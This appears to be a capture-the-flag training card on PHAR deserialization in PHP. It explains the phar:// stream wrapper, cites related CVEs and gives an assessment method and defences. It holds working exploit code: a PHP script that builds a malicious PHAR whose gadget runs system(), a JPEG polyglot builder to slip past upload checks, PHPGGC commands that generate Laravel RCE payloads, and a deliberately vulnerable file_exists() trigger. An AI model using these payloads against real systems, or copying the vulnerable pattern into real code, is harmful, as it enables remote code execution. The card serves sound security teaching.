Browse CTFs New CTF Sign in

PHAR deserialization (simulated)

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

CVE-2018-19296 demonstrated PHAR deserialization in PHPMailer, one of the most widely deployed PHP email libraries. CVE-2018-19158 affected Joomla. Wordpress plugin ecosystems have shipped numerous PHAR-vulnerable file operation calls. The attack is particularly insidious because the trigger is not unserialize() — a function developers know to treat as dangerous — but instead ordinary filesystem functions like file_exists(), is_file(), fopen(), and file_get_contents(). Every PHP application that performs filesystem operations on user-controlled paths is potentially vulnerable, regardless of whether the developer ever wrote unserialize().

Core Concept

A PHAR (PHP Archive) is a PHP packaging format analogous to JAR files in Java. PHAR files have a structured format containing a manifest, the file contents, and an optional signature. Critically, the manifest section stores serialized PHP objects as metadata. When PHP's stream wrapper phar:// is used to open a PHAR file, PHP automatically deserializes the manifest metadata — and calling __wakeup(), __destruct(), and other magic methods on any class that is present in the codebase.

The phar:// stream wrapper is the attack vector. Any PHP filesystem function that accepts a path will process phar:// URIs:

file_exists("phar:///var/uploads/image.jpg")

If image.jpg is actually a valid PHAR file (a polyglot — valid as both a JPEG and a PHAR), PHP deserializes its manifest. If a gadget chain exists in the application's codebase (classes whose magic methods perform dangerous operations when deserialized), RCE is achievable without any file ever having an executable extension.

The attack precondition is: (1) the application stores attacker-supplied files on the filesystem (any upload, even if renamed and extension-checked), and (2) the application later performs any filesystem operation on a path that can be influenced by the attacker, using phar:// as the URI scheme — or the path is passed to a file operation after attacker-controlled string concatenation.

Polyglot construction: a valid JPEG polyglot PHAR begins with the JPEG magic bytes (FF D8 FF E0) so it passes magic byte validation, while the PHAR-specific structure (stub, manifest with serialized objects, signature) is embedded in the EXIF data or appended after the JPEG end-of-image marker (FF D9). When PHP processes this file as phar://, it finds the PHAR structure and deserializes the manifest.

Gadget chains for popular PHP frameworks are catalogued in PHPGGC. Laravel, Symfony, WordPress, Guzzle, Doctrine, and Monolog all have documented chains.

Technical Deep-Dive

<?php
// ── Step 1: Build a malicious PHAR with serialized gadget ─────────────────
// Run as: php -d phar.readonly=0 create_phar.php

class GadgetSink {
    public $command;
    public function __destruct() {
        // Triggered during GC after deserialization completes
        system($this->command);
    }
}

$phar = new Phar("evil.phar");
$phar->startBuffering();

// PHAR stub: minimal valid PHP that does nothing visible
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// Embed the gadget object in the PHAR metadata
$obj = new GadgetSink();
$obj->command = "id > /tmp/phar_rce_proof.txt";
$phar->setMetadata($obj);          // Serialized to manifest

// Add at least one file (required by PHAR format)
$phar->addFromString("placeholder.txt", "legitimate content");
$phar->stopBuffering();

echo "[+] evil.phar created
";

// ── Step 2: Create a JPEG polyglot ────────────────────────────────────────
// Append the PHAR data after the JPEG end-of-image marker
$jpeg_header = "xffxd8xffxe0x00x10JFIFx00x01x01x00x00x01x00x01x00x00";
$jpeg_footer = "xffxd9"; // End of JPEG image
$phar_data   = file_get_contents("evil.phar");

// Polyglot: valid JPEG header + PHAR data + JPEG EOI
file_put_contents("polyglot.jpg",
    $jpeg_header . $phar_data . $jpeg_footer
);
echo "[+] polyglot.jpg created — passes JPEG magic byte check
";
?>
<?php
// ── Step 3: Trigger deserialization via a vulnerable file operation ────────
// Attacker controls $user_path through a path parameter, file reference, etc.

// VULNERABLE: user-controlled input reaches file_exists()
$user_path = $_GET['file'];   // Attacker sets: phar:///var/uploads/polyglot.jpg
if (file_exists($user_path)) {
    echo "File found";
    // file_exists() on a phar:// path triggers manifest deserialization
    // GadgetSink::__destruct() runs → system("id > /tmp/phar_rce_proof.txt")
}

// Other vulnerable functions: is_file(), fopen(), file_get_contents(),
// SplFileInfo::__construct(), DirectoryIterator::__construct(),
// SimpleXMLElement::__construct() (via phar://), ZipArchive::open()

// SECURE: validate and canonicalize path before use
function safe_file_exists(string $path): bool {
    // Strip any stream wrapper prefix
    if (preg_match('^[a-z][a-z0-9+-.]*://', $path)) {
        return false;   // Reject all stream wrappers
    }
    $real = realpath($path);
    $allowed_base = realpath("/var/uploads");
    if ($real === false || strpos($real, $allowed_base . "/") !== 0) {
        return false;
    }
    return file_exists($real);
}
?>
# ── PHPGGC: generate PHAR payload for real framework gadget chains ─────────
# List available chains
php phpggc --list | grep -i laravel

# Generate a PHAR with Laravel/RCE8 chain executing a command
php phpggc -o evil.phar --phar phar Laravel/RCE8 system id

# Create polyglot by prepending a valid JPEG header
python3 -c "
import struct
# Minimal valid JPEG (JFIF header + EOI)
jfif = bytes.fromhex('ffd8ffe000104a464946000101000001000100 00'.replace(' ',''))
phar = open('evil.phar','rb').read()
open('polyglot.jpg','wb').write(jfif + phar)
print('polyglot.jpg created, size:', len(jfif)+len(phar))
"

# Confirm polyglot passes file --mime check
file --mime-type polyglot.jpg   # Should output: image/jpeg

Security Assessment Methodology

  1. Map file operation entry points — Review application source or use dynamic analysis to identify all calls to file_exists(), is_file(), fopen(), file_get_contents(), SplFileInfo, and DirectoryIterator where the path is derived from user input (file parameter, upload reference, path stored in DB).
  2. Confirm file upload capability — Upload a benign file (JPEG) and note the stored path. Confirm the application stores files in a location whose path can be referenced in subsequent requests.
  3. Identify gadget chains — Run PHPGGC against the target framework version. php phpggc --list shows all available chains. Check composer.json or composer.lock for framework and library versions.
  4. Craft and upload a PHAR polyglot — Use PHPGGC with --phar phar to generate evil.phar. Prepend JPEG magic bytes to create polyglot.jpg. Upload via the standard upload endpoint. The file passes extension and magic byte checks.
  5. Trigger via phar:// path — In any request that sends a file path to a file operation, inject phar:///var/uploads/polyglot.jpg (adjusted for the actual storage path). Use OOB (curl/DNS) as the gadget payload for safe confirmation.
  6. Verify RCE and document — Confirm OOB callback. Write a non-destructive proof file. Record the gadget chain, PHPGGC command, and trigger endpoint.

Defensive Countermeasure — Disable the phar:// stream wrapper for untrusted input by stripping or rejecting all stream wrapper prefixes before passing paths to filesystem functions. In php.ini, set phar.readonly = 1 to prevent PHAR creation at runtime. Add a wrapper rejection check (preg_match('^[a-z][a-z0-9+\-.]*://', $path)) before any filesystem call. Deploy a Web Application Firewall rule blocking phar:// in all parameters. Regularly audit composer.lock against PHPGGC's chain catalogue.

Common Assessment Errors

  • Looking only for unserialize() calls — PHAR deserialization is triggered by filesystem functions, not unserialize(). A codebase with no unserialize() calls can still be vulnerable.
  • Assuming the storage directory path is unknown — Error messages, X-Debug-Token, PHPStorm metadata, or .git exposure often reveal absolute paths. Enumerate path disclosure separately.
  • Forgetting that phar.readonly blocks creation but not readingphar.readonly = 1 prevents creating new PHAR archives via PHP, but reading existing PHARs (including uploaded ones) via phar:// is still possible.
  • Not accounting for signature requirements — PHP 8.1+ by default requires PHAR files to have a valid signature. PHPGGC handles this automatically; manually crafted PHARs may fail. Use PHPGGC for reliable payload generation.
  • Skipping the polyglot step and uploading a raw .phar — A raw .phar file will be rejected by any extension or MIME check. The polyglot step is required to smuggle the PHAR through upload validation.
  • Triggering via a path that is sanitized downstream — Some applications call basename() or realpath() before file operations, stripping the phar:// prefix. Test the specific code path that handles the uploaded file reference.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Explains PHAR stream wrapper mechanics and why filesystem functions are deserialization triggers
K0070 Knowledge of system and application security threats and vulnerabilities Connects PHAR deserialization to CVE-2018-19296 and the broader PHP gadget chain ecosystem
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains PHPGGC-based gadget chain enumeration and polyglot crafting
S0044 Skill in mimicking threat behaviors to test defenses Develops ability to construct JPEG polyglot PHARs that evade upload validation
T0028 Conduct and support authorized penetration testing on enterprise networks Provides a five-step methodology from upload through phar:// trigger
T0591 Perform penetration testing as required for new or updated applications Frames PHAR testing as required for PHP applications with file operations

Further Reading

  • Heine, S. (2018). "It's a PHP Unserialization Vulnerability Jim, but Not as We Know It" — BlackHat USA 2018
  • CVE-2018-19296: PHAR deserialization in PHPMailer — NVD
  • PHPGGC: PHP Generic Gadget Chains — ambionics security (GitHub, offline reference)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.